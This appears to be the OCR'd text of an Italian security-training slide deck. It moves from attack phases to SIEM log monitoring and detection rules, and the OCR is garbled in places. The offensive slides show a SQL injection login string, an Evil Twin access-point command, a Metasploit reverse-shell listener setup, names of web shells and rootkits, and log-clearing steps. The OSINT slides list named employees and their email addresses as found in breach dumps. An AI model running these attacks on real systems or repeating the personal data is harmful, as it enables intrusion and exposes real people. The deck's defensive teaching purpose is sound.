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RED TEAM

Offensive Security
Vulnerability Assessment
Penetration Test

Black Box Testing

Social Engineering

Web App Testing
SCADA/PLC Testing
Drone Patrol

Physical Security Testing

O 0 0 0 0 0 0 0 0

BLUE TEAM

Defensive Security
Infrastructure Protection
Data Breach PoC

Early Warning

ETEL game

Security Training

Gap Analysis
Ransomware Protection
Incident Response

WURTHPHOENIX
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LIVELLO DI SICUREZZA DINAMICO - BLUETEAM

WURTHPHOENIX

Il livello di sicurezza & un elemento in continua rivalutazione e dipende da
molteplici aspetti:

" |e persone

* |atecnologia

* |e modalita operative
* ['ambiente circostante

Quale organizzazione pud categoricamente e ragionevolmente atfermare di
avere questi elementi identici ad un’altra?

© Wairth Phoenix ... more than software 3



FASI DI UN ATTACCO: LISTA FASI

. sBcau
WURTHPHOENIX
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Gaining Access
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Maintaining Access

Covering Tracks
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FASI DI UN ATTACCO: PHASE 1 - RECONNAISSANCE Za QT

WURTHPHOENIX

Activities

Shodan

Google

Social Network 0

Data Breach
WayBack PasteBin

Censys Whois
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OSINT SESSION TARGET: WURTHPHOENIX

WURTHPHOENIX
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OSINT .

WURTHPHOENIX

s8c4u

#% SHODAN

net82.193.25.024 Q # Epoe D

® Share Search

& Download Results

% Explots Maps 14d Create Report

ntemec Wontor b4

7 o " ©

82.193.25.252 - R .

Yidhos S0 protocolversion: 3

N hay, Vicchio stratum: @ uﬁ n —
- * sl 3 o i -

—
wanise -
™ . ® ‘ WURTHPHOENIX
e M
o N 82.193.25.253 . — =
e . o 85 etsstarian 3
s : T, o . w . B
Irideos Sp.A. ™ 0 E
Vo 78 f
8 b R Account: | | Remember me
Microson s 2 Not Found (' Y
Ao i . oo 354 =) Password:
frowatad : 0y, veeno il -
s ; e - . :
- anguage: | English v| mu
404 File Not Found &' \

rideos SpA e

Wing FTP Server

003-2018 witpserver.com All Rights Reserved

1y, veeno

Showing 174 results

® ¢

Mihail Marinov - 2nd
System Integration Consultant at Wuerth Phoenix Srl
Italy

88 Franco Federico, Giuseppe Di Garbo, and 4 other shared connections

Luca Franzoi « 2nd
Service & Support Engineer presso Wirth Phoeni
Bolzano Area, Italy

88 Paolo Lioni, Franco Federico, and 9 other shared connections

Valentina Da Rold « 2nd
Frontend developer at Wiirth Phoenix
Trento Area, Italy

88 Franco Federico, Giuseppe Di Garbo, and 6 other shared connections.

Mirko Morandini « 2nd
PhD, Senior Consultant for Service Management Systems @ Wiirth Phoenix
Bolzano Area, Italy

88 Paolo Lioni, Franco Federico, and 10 other shared connections

Simone Zanaga - 2nd
Java Software Developer presso Wilrth Phoenix Group
Bolzano Area, Italy

88 Arianna Cunaccia and Georg Kostner are shared connections

Oreste Attanasio « 2nd
Service and Support Manager
Bolzano Ares, Italy

88 Paolo Lioni, Danilo Barbuio, and 8 other shared connections

Nicole Savini
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Antipublic

Exploitin

Exploitin

Exploitin

Exploitin

Exploitin

Exploitin

Exploitin

Exploitin

Exploitin

Exploitin

Exploitin

Exploitin

APMYRZABUGOR

APMYRZABUGOR

Collectionl

8.txt

109. txt

15.txt

21.txt

33.txt

68.txt

68.txt

68.txt

69.txt

6.txt

70.txt

76.txt

76.txt

AP_MYR_ZABUGOR_EU_RU_28. txt

AP_MYR_ZABUGOR_EU_RU_38. tXt

EU_combos_1061. txt

kathrin.garbislander@uwuerth-
phoenix.com

claudia.endrizzi@wuerth-
phoenix.com

kathrin.garbislander@uwuerth-
phoenix.com

katia.guidouwuerth-
phoenix.com

timea.draskovits@wuerth-
phoenix.com

fabio.catarinella@wuerth-
phoenix. com

katia.guido@wuerth-
phoenix.com

christine.robatscher@wuerth-
phoenix.com

francesco.donato@wuerth-
phoenix.com

oliver.kuehne@wuerth-
phoenix. com

giuseppe.valletta@wuerth-
phoenix.com

severino.sperini@wuerth-
phoenix. com

sabine.haller@wuerth-
phoenix.com

timea.draskovits@wuerth-
phoenix.com

monica.appolloni@wuerth-
phoenix.com

kathrin.garbislander@uwuerth-
phoenix.com



FASI DI UN ATTACCO: PHASE 2 - SCANNING

. sBcau

WURTHPHOENIX

Activities

nmap -12 -max-retries 2 -max-rate 2 $t0rget
nmap -sS $target | nmap -sS -win $value $target
nmap -sO (OS detection scan)

directory listing

enumeration

Arachni Web default
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FASI DI UN ATTACCO: PHASE 2 - SCANNING

. sBcau
WURTHPHOENIX

nmap -sT -T2 -max-retries 2 -max-rate 2 uploader.wuerth-phoenix.com

Starting Nmap 7.60 ( https://nmap.org ) at 2019-09-24 14:21 CEST
Nmap scan report for uploader.wuerth-phoenix.com (82.193.25.91)
Host is up (0.0038s latency).

rDNS record for 82.193.25.91: host-82-193-25-91-z1.infracom.it
Not shown: 998 filtered ports
PORT STATE SERVICE
80/tcp open http

443 /tcp open https

ERPLOIT &
DATABASE
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FASI DI UN ATTACCO: PHASE 3 - GAINING ACCESS A

WURTHPHOENIX

Activities

phishing, vishing,

human factor (SE o :
( ) bomn, Impersonation

physical Rubber Ducky, keyloggers

webapp SQL Injection, XSS, CSRF

authentication default, dictionary, brute force

Evil Twin AP, AP rogue

wifi

ARP Poisoning, DNS tunneling,

el o DHCP starvation, MITM
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FASI DI UN ATTACCO: PHASE 3 - GAINING ACCESS W,

WURTHPHOENIX

WURTHPHOENIX

Account: 'OR 1=1 Remember me
Password:

Language: | English [ £  Login

#® airbase-ng -e WGuest -c 5 wlan@mon =[ metasp

538 payloads - 41 encoders - 10 nops
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp

' 1

Created tap interface ato S =[ 1788 exploits - 1018 auxiliary - 310 post ]
o ]

]

Trying to set MTU on ato to 1560

Access Point with BSSID 00:CO:CA:8F:FB:31 started.
Client A4:50:46:3F:F6:E7 associated (unencrypted) ESSID: "WGuest" msf > use multi/handler

Client A4:50:46:3F:F6:E7 associated (unencrypted) ESSID: "WGuest" ms f GXPIOit(I ) > set payload windows/meterpreter/reverse_tcp
Cl:lent A4:50:46:3F:F6:E7 assoc?ated (unencrypted) ESSID: ::wGuest: glgiglzitfl"dw’/mete"p;eﬁegg{e[ﬁ('j';?};g_163,100.4

Client A4:50:46:3F:F6:E7 associated (unencrypted) ESSID: "WGuest LHOST => 192.168.100.4

Client A4:50:46:3F:F6:E7 associated (unencrypted) ESSID: "WGuest" msf exploit( ) > set LPORT 4444

Client A4:50:46:3F:F6:E7 associated (unencrypted) ESSID: "WGuest" LPORT => 4444

Client A4:50:46:3F:F6:E7 associated (unencrypted) ESSID: "WGuest" msf exploit( ) > run

Cl:lent A4:50:46:3F:F6:E7 assocw}ated (unencrypted) ESSID: "WGuest" Started reverse TCP handler on 192.168.100.4:4444

Client A4:50:46:3F:F6:E7 associated ESSID: "WGuest"
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FASI DI UN ATTACCO: PHASE 4 - MAINTAINING ACCESS

s8c4u

WURTHPHOENIX

covert channel 0
R57 Shell
O [
Zehir4 Shell
Danny Boy
3
KBeast

C99 Shell

backdoors

POwny Shell

Balaur

rootkits

Duarawkz

auth add / modify

© Woiirth Phoenix




FASI DI UN ATTACCO: PHASE 5 - COVERING TRACKS A

Activities

clear shell history
disable auditing
clear/manipulating local logs

clear/manipulating remote logs

clear data (audio/video)




IMPLEMENTAZIONE DEL SIEM: BEST PRACTICES %,

WURTHPHOENIX
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FORNIRE AL SIEM 1 DATI NECESSARI A . sbew

NO DATA — NOISE=0

WURTHPHOENIX

LOG NEEDED I= ALL LOGS
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SOURCE: LYNIS, ROOTKIT HUNTER, CHKROOTKIT %,

WURTHPHOENIX

2019-09-22 04:03:51 Hardening index : [71] [#######H##H###H#E ]

2019-09-22 04:03:51 Hardening strength: System has been hardened, but could use additional hardening

2019-09-22 04:03:51 === ===

2019-09-22 04:03:52 Checking permissions of /usr/local/lynis/include/tool_tips

2019-09-22 04:03:52 File permissions are OK

2019-09-22 04:03:52 Tool tips: enabled

2019-09-22 04:03:52 ===================================s======s======s==============================
2019-09-22 04:03:52 Tests performed: 236

2019-09-22 04:03:52 Total tests: 429

2019-09-22 04:03:52 Active plugins: 2

2019-09-22 04:03:52 Total plugins: 2

2019-09-22 04:03:52 ===================================s======s=====================================
2019-09-22 04:03:52 Lynis 3.0.0

2019-09-22 04:03:52 2007-2019, CISOfy - https://cisofy.com/lynis/

2019-09-22 04:03:52 Enterprise support available (compliance, plugins, interface and tools)

2019-09-22 04:03:52 Program ended successfully
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SOURCE: SNORT PO . sbow

WURTHPHOENIX

[1:2001219:19] ET SCAN Potential SSH Scan [Classification: Attempted Information Leak]
[Priority: 2] {TCP} 112.85.42.185:41340 > 95.216.54.122:22

© Wiirth Phoenix ... more than software




SOURCE: APACHE MOD_SECURITY

. sBcau

WURTHPHOENIX

Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 77.72.193.152]

ModSecurity: Warning. Pattern match "([A\}ATA1\ 1T ANT@ WAL
SIITITTIAVA1TITITL GATATATATEAARTATATAGATEIRTARTATA AR TVANR MM G AANAA AN
ALIHRRTVATAAREAVARATA A RTARERRAATVATARARRA VARARTA IR HARN IR MK ARG AN AR AR A AAA AN AN\ Vo

ANIXBAT T IXE 21 |V IXBON T IXOTN NI Ixe 2\ N\ Ix801 | | \x98\ |\ L TN
<\\\\W\W\\>1.#?){8,}" at REQUEST_COOKIES:searchguard_storage.

[file "/etc/httpd/modsecurity.d/activated_rules/modsecurity_crs_41 sql_injection_attacks.conf"]
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SOURCE: PFSENSE LOGS 7 . sbea

WURTHPHOENIX

5,,,1000000103,em0,match,block,in,4,0x0,,39,45863,0,none,6,tcp,40,126.36.211.35,
95.216.54.121,11279,8080,0,5,1608005241,,45253,,
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DATA SHIPPERS AND OTHER SOURCES 7 . sBea

WURTHPHOENIX

s 2 o o /]

Filebeat Metricbeat Packetbeat Winlogbeat Auditbeat

Log Files Metrics Network Data Windows Event Logs Audit Data

atop 2 2 @nxos

Heartbeat Functionbeat

Uptime Monitoring Serverless Shipper
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1 PENSARE COME UN ATTACCANTE 7L . sBew

WURTHPHOENIX

INFORMAZIONI VETTORI DI MOTIVAZIONI AMBITI DI
APPETIBILI ATTACCO ATTACCANTE VULNERABILITA




2 DETERMINARE IL SIGNIFICATO DEI DATI

Last 2000 General Log Entries. (Maximum 2000)

Time

Sep 24 15:52:57

Sep 24 15:50:02

Sep 24 15:50:02

Sep 24 15:49:59

Sep 24 15:49:57

Sep 24 15:46:12

Sep 24 15:46:11

Sep 24 15:45:34

Sep 24 15:45:34

Sep 24 15:45:34

Sep 24 15:45:34

Sep 24 15:45:34

Sep 24 15:45:23

Sep 24 15:45:23

Sep 24 15:44:50

Sep 24 15:42:50

Sep 24 15:42:50

Process

snort

sshguard

sshd

snort

snort

snort

snort

snort

snort

snort

snort

snort

snort

snort

snort

snort

snort

PID
44560

4112
72469

44560

44560

44560

44560

44560

44560

44560

44560

44560

44560

44560

44560

44560

44560

Message

[1:2002911:5] ET SCAN Potential VNC Scan 5900-5920 [Classification: Attempted Information Leak] [Priority: 2] {TCP} 134.209.2
08.112:42103 -> 95.216.54.121:5900

Attack from "222.186.175.167" on service 100 with danger 10.

Unable to negotiate with 222.186.175.167 port 4716: no matching key exchange method found. Their offer: diffie-hellman-group
1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1 [preauth]

[1:2019876:2] ET SCAN SSH BruteForce Tool with fake PUTTY version [Classification: Detection of a Network Scan] [Priority: 3]
{TCP} 222.186.31.144:45839 -> 95.216.54.122:22

[1:2001219:19] ET SCAN Potential SSH Scan [Classification: Attempted Information Leak] [Priority: 2] {TCP} 222.186.42.117:146
84->95.216.0.67:22

[1:2019876:2] ET SCAN SSH BruteForce Tool with fake PUTTY version [Classification: Detection of a Network Scan] [Priority: 3]
{TCP} 222.186.42.241:38136 -> 95.216.54.122:22

[1:2001219:19] ET SCAN Potential SSH Scan [Classification: Attempted Information Leak] [Priority: 2] {TCP} 222.186.42.15:3253
0->95.216.0.67:22

[1:2011716:4] ET SCAN Sipvicious User-Agent Detected (friendly-scanner) [Classification: Attempted Information Leak] [Priority:
2] {UDP} 185.53.91.70:5125 -> 95.216.54.124:5060

[1:2011716:4] ET SCAN Sipvicious User-Agent Detected (friendly-scanner) [Classification: Attempted Information Leak] [Priority:
2] {UDP} 185.53.91.70:5125 -> 95.216.54.122:5060

[1:2011716:4] ET SCAN Sipvicious User-Agent Detected (friendly-scanner) [Classification: Attempted Information Leak] [Priority:
2] {UDP} 185.53.91.70:5125 -> 95.216.54.121:5060

[1:2008578:6] ET SCAN Sipvicious Scan [Classification: Attempted Information Leak] [Priority: 2] {UDP} 185.53.91.70:5125 -> 95
216.54.123:5060

[1:2011716:4] ET SCAN Sipvicious User-Agent Detected (friendly-scanner) [Classification: Attempted Information Leak] [Priority:
2] {UDP} 185.53.91.70:5125 -> 95.216.54.123:5060

[1:2008578:6] ET SCAN Sipvicious Scan [Classification: Attempted Information Leak] [Priority: 2] {UDP} 185.53.91.70:5125 -> 95
216.0.67:5060

[1:2011716:4] ET SCAN Sipvicious User-Agent Detected (friendly-scanner) [Classification: Attempted Information Leak] [Priority:
2] {UDP} 185.53.91.70:5125 -> 95.216.0.67:5060

[1:2001219:19] ET SCAN Potential SSH Scan [Classification: Attempted Information Leak] [Priority: 2] {TCP} 178.62.23.75:25717
->095.216.54.122:22

[1:2019876:2] ET SCAN SSH BruteForce Tool with fake PUTTY version [Classification: Detection of a Network Scan] [Priority: 3]
{TCP} 222.186.30.165:19710 -> 95.216.54.122:22

[1:2001219:19] ET SCAN Potential SSH Scan [Classification: Attempted Information Leak] [Priority: 2] {TCP} 222.186.42.241:201
14->95.216.0.67:22

© Woiirth Phoenix

# author: SimoneCagol

Fitter {
if [type] == "syslog” and "grokked” not in [tags]{

1000000102 > Default deny rule IPv4

]
ck IPv4 link-local” ]

, "Block IPv4 link-local from %{ipsrc} to %{ipdest}:%{portdest}" ]

nterface}, (

-26-914)2, ¢
%{WORD : pr- 3

1}, (2:[a-zA-20-9]+)

1
grokked"]
befault deny rule IPva4" ]

ription” , "Default deny rule IPv4 from %{ipsrc} to %{lpdest}:%{portdest}"

Dashboard / LOGSTASH

> ea g 2 E n;

WURTHPHOENIX

20-9]4)?
pdest}

Full screen  Share  Clone

Edit

Documentation

C Auto-refresh

s@cau

[a-zA-Z0-9]+)7,

< O Last15minutes

Options

C Refresh

Discover
Add a filter 4
Visualize

Dashboard

Timelion

83 11

PFSENSE - Count SNORT - Count

Management

Search Guard

e o

NORTH 5
AMERICA RECRE

® root . k +

\

ASIA

& Collapse
AFRICA

41

_grokparsefailure - Count

http_inspect - Count

ec oo
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3 DETERMINARE IL SIGNIFICATO DELLE AZIONI Sl

WURTHPHOENIX

logstash-* - September 1st 2019, 00:00:00.000 - September 30th 2019, 23:59:59.999 — Auto v _
Selected fields 29 lines (27 sloc) 987 Bytes Raw Blame History i

t dass

Suspicious SSHD Error
— d Detects suspicious SSH / SSHD error messages that indicate a fatal or suspicious error that could be caused by expl
references
H(H‘ ‘ﬂﬂ ‘ m
0030201 %

0190923 - https://github.com/openssh/openssh-portable/blob/master/ssherr.c
Available fields o s "

Timelion o tmes o e - https://github.com/ossec/ossec-hids/blob/master/etc/rules/sshd_rules.xml
imestamp

t geoip.country_name

W | sl anmu R Rt a M anil

201909

+ overson Time class geoip.country_name ipsrc ipdest author: Florian Roth
- »  September 24th 2019, 16:57:51.000 SCAN Potential SSH Scan United Kingdom 178.62.23.75 95.216.54.122 date: 2017/06/30
i
G T »  September 24th 2019, 16:55:48.000 SCAN Potential SSH Scan China 153.36.236.35 95.216.0.67
product: linux
# _score » September 24th 2019, 16:55:40.800 SCAN SSH BruteForce Tool with fake PUTTY version China 153.36.236.35 95.216.54.122
service: sshd
t ope » September 24th 2019, 16:52:36.800 SCAN Potential SSH Scan China 222.186.30.165 95.216.0.67 detection:
t description X .
» September 24th 2019, 16:52:30.800 SCAN SSH BruteForce Tool with fake PUTTY version China 222.186.30.165 95.216.54.122 kE“,“/AQ' ds:
t fadiity e . -
» September 24th 2019, 16:49:34.800 SCAN Potential SSH Scan China 222.186.15.217 95.216.0.67 unexpeCtEU internal error
t geoip.city_name *
B - "*unknown or unsupported key type*'
T e e » September 24th 2019, 16:49:25.800 SCAN SSH BruteForce Tool with fake PUTTY version China 222.186.15.217 95.216.54.122 ~
an = - '*invalid certificate signing key*'
n September 24th 2019, 16:48:55.000 SCAN Potential SSH Scan United Kingdom 178.62.23.75 95.216.54.122 5 N 5 T '
t geolp.country_code2 > Sepl 9 - '*invalid elliptic curve value*
t geoip.country_code3 » September 24th 2019, 16:47:03.000 SCAN Sipvicious Scan Netherlands 185.53.91.70 95.216.54.121 - '*incorrect signature*'
e i i .
O G »  September 24th 2019, 16:47:03.000 SCAN Sipvicious User-Agent Detected (friendly-scanner) Netherlands 185.53.91.70 95.216.54.121 - error in libcrypto
2 geoiplp - '*unexpected bytes remain after decoding*'
» September 24th 2019, 16:47:03.000 SCAN Sipvicious User-Agent Detected (friendly-scanner) Netherlands 185.53.91.70 95.216.54.124
# geoplatitude - '*fatal: buffer_get_string: bad string*’

*

geoip.region_name
September 24th 2019, 16:46:35.000 SCAN Potential SSH Scan China 49.88.112.78 95.216.0.67

- Unknown

geoip timezone

September 24th 2019, 16:47:03.000 SCAN Sipvicious User-Agent Detected (friendly-scanner) Netherlands 185.53.91.70 95.216.54.125 e . .
@ geoiplocation Local: crc32 compensation attack
geoiplongiude September 24th 2019, 16:47:03.000 SCAN Sipvicious User-Agent Detected (friendly-scanner) Netherlands 185.53.91.70 95.216.54.122 "*bad client public DH value*'
‘geoip.postal_code September 24th 2019, 16:46:52.800 SCAN Sipvicious Scan Netherlands 185.53.91.70 95.216.0.67 '*Corrupted MAC on input*'
geoip.region_code September 24th 2019, 16:46:52.000 SCAN Sipvicious User-Agent Detected (friendly-scanner) Netherlands 185.53.91.70 95.216.0.67 condition: keywords

September 24th 2019, 16:46:27.000 SCAN SSH BruteForce Tool with fake PUTTY version China 49.88.112.78 95.216.54.122

medium

t host
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4 MONITOR E SECURITY: DUE VOLTI DELLA STESSA MEDAGLIA 7L . sBew

WURTHPHOENIX

Host = Service Services Histoy v O

PHOENIX upP IDS_SONDA ®

W B pfsensehio per 3m 13s

since Aug 30

ok @ Analytics Default Dashboard - < 4,201917:04:38t0Sep 24,2019 > Q

Service: interface_usage_em0_WAN

£ Check now mment £} Notification & Downtime 100000 1 ‘I 1 Ser\12|: n

Plugin Output

OK - interface em0 usage is in:0.51% (0.63MB/s) out:0.01% (0.02MB/s)

Performance Graph

Open in Analytics Dashboard

CRITICAL ATTACK_1.255.43.27
2m 46s ‘ ‘ (

Problem handling

CRITICAL ATTACK_ 103.192.168.106
Om 47s : -

Performance data N | al OoH Scan

Label Value  Max Waming ~ Critical
em0_usage_in 0.51% - 80% 0%
em0_traffic_in  645.12KiB 125.00 MiB 14.00 MiB 28.00 MiB

CRITICAL ATTACK_104.252.22.2
2m 12s N Suspi

em0_traffic_out 20.48KiB 125.00 MiB 25.00 MiB 31.00 MiB

em0_usage_out 0.01%

Notifications

OK ATTACK_106.58.52.249
Aug 3

Check execution

check_nwc_health (# Process

neteye

yes ®

2m 30s ago & Check now

CRITICAL ATTACK_109.234.34.208
1m 30s J SpICIOuUS i1 SQL poi

in Om 28s () Reschedule

min max 9
1/3 (hard state) e 1216348 722352 20972
0.347s
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IL CASO EUROBET / LOTTOMATICA

e Stefano Fratepietro
@stevedeft

Lo stesso attacco spoofing di Eurobet della settimana
scorsa, al momento, € attivo sugli indirizzi di

Lottomatica:
185.40.12.0/24
185.40.13.0/24
185.40.14.0/24
185.40.15.0/24
93.101.0.0/20
194.187.172.0/23

Slto lottomatica.it € down da circa

:16 PM - 21 ott 2019 - Twitter Web App

Built
Built
Built
Bullt
Bullt
Bullt
Bullt
Built
Built
Built
Built
Built
Bullt

TRAFFICO
ANOMALO

VOLUME DI
TRAFFICO

© Woiirth Phoenix

10 minuti.

TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP

inbound
inbound
inbound
inbound
inbound
inbound
inbound
inbound
inbound
inbound
inbound
inbound
inbound

connection
connection
connection
connection
connection
connection
connection
connection
connection
connection
connection
connection
connection

247496383
247496384
247496385
247496386
247496387
247496388
247496389
247496390
247496391
247496392
247496394
247496395
247496396

for
for
for
for
for
for
for
for
for
for
for
for
for

outside:
outside:
outside:

outside

outside:
outside:

outside

outside

outside:
outside:

194

194.
185.
:185.
185.
185.
:185.
outside:
outside:
outside:

194
185

185.
1194
194.
194.

Victim

14
12
15
13
15

. sBcau
WURTHPHOENIX

To: Server
From: Bef Victim
Please send me lots of data!

Server

From: Server
To: Victim
Here’s all that data you requested!

.187.175.152/44226 (194.187.175.152/44226) to DMZ:
187.173.252/48835 (194.187.173.252/48835) to DMZ:
40.
40.
40.
40.
40.
.187.175.72/63090 (194.187.175.72/63090) to inside:

.40.14.172/51335 (185.40.14.172/51335) to DMZ: '
40.13.26/58760 (185.40.13.26/58760) to DMZ: |
.187.173.150/36701 (194.187.173.150/36701) to DMZ:

187.175.226/60484 (194.187.175.226/60484) to DMZ:

187.173.242/36231 (194.187.173.242/36231) to DMZ:

.231/33306 (185.40.14.231/33306) to inside:
.66/41406 (185.40.12.66/41406) to DMZ:
.221/49422 (185.40.15.221/49422) to DMZ:
.242/54560 (185.40.13.242/54560) to DMZ:
.18/59372 (185.40.15.18/59372) to inside:

... more than software



5 SIMULARE ATTACCHI PER VALUTARE LA SOLUZIONE Za QT
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